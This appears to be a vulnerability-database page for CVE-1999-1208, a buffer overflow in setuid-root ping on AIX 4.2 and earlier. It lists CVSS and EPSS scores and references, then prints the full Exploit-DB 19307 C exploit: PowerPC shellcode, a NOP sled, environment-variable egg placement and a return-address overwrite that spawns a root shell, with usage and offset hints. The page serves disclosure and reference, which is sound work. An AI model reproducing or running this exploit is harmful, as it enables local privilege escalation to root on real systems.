CVE-1999-1208 : Detail

CVE-1999-1208

0.04%V3
Local
2002-03-09
04h00 +00:00
2024-08-01
17h02 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in ping in AIX 4.2 and earlier allows local users to gain root privileges via a long command line argument.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19307

Publication date : 1997-07-20 22h00 +00:00
Author : Bryan P. Self
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/387/info A buffer overflow condition exists in some versions of /usr/sbin/ping under AIX. Given that ping is SUID root, this overflow allows malicious users to gain root from it. /* * * /usr/sbin/ping exploit (kinda' coded) by BeastMaster V * * CREDITS: this is simpy a modified version of an exploit * posted by Georgi Guninski ([email protected]) * * This will give a #rootshell# by overwriting a buffer * in /usr/sbin/ping while ping is setuid to root. * This exploit is designed for AIX 4.x on PPC platform. * * * USAGE: * $ cc -o foo -g aix_ping.c * $ ./foo 5100 * # * * * HINT: Try giving ranges from 5090 through 5500 * * DISCLAIMER: use this program in a responsible manner. * * --> don't forget to visit http://www.rootshell.com * --> for more goodies :-) * */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern int execv(); #define MAXBUF 600 unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } main(int argc,char **argv,char **env) { unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt; int min=100, max=280; unsigned int return_address; char *newenv[8]; char *args[4]; int offset=5300; if (argc==2) offset = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff) ; *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff ); return_address=(unsigned)&buf[0]+offset; for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82; strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; for(i=0;i<max-1;i++) frame[i]=return_address; frame[i]=0; newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=NULL; args[0]="ping"; args[1]=(char*)&frame[0]; execve("/usr/sbin/ping",args,newenv); perror("Error executing execve \n"); }

Products Mentioned

Configuraton 0

Ibm>>Aix >> Version 3.2.5

Ibm>>Aix >> Version 4.1

Ibm>>Aix >> Version 4.2

References

http://marc.info/?l=bugtraq&m=87602661419330&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://marc.info/?l=bugtraq&m=87602661419337&w=2
Tags : mailing-list, x_refsource_BUGTRAQ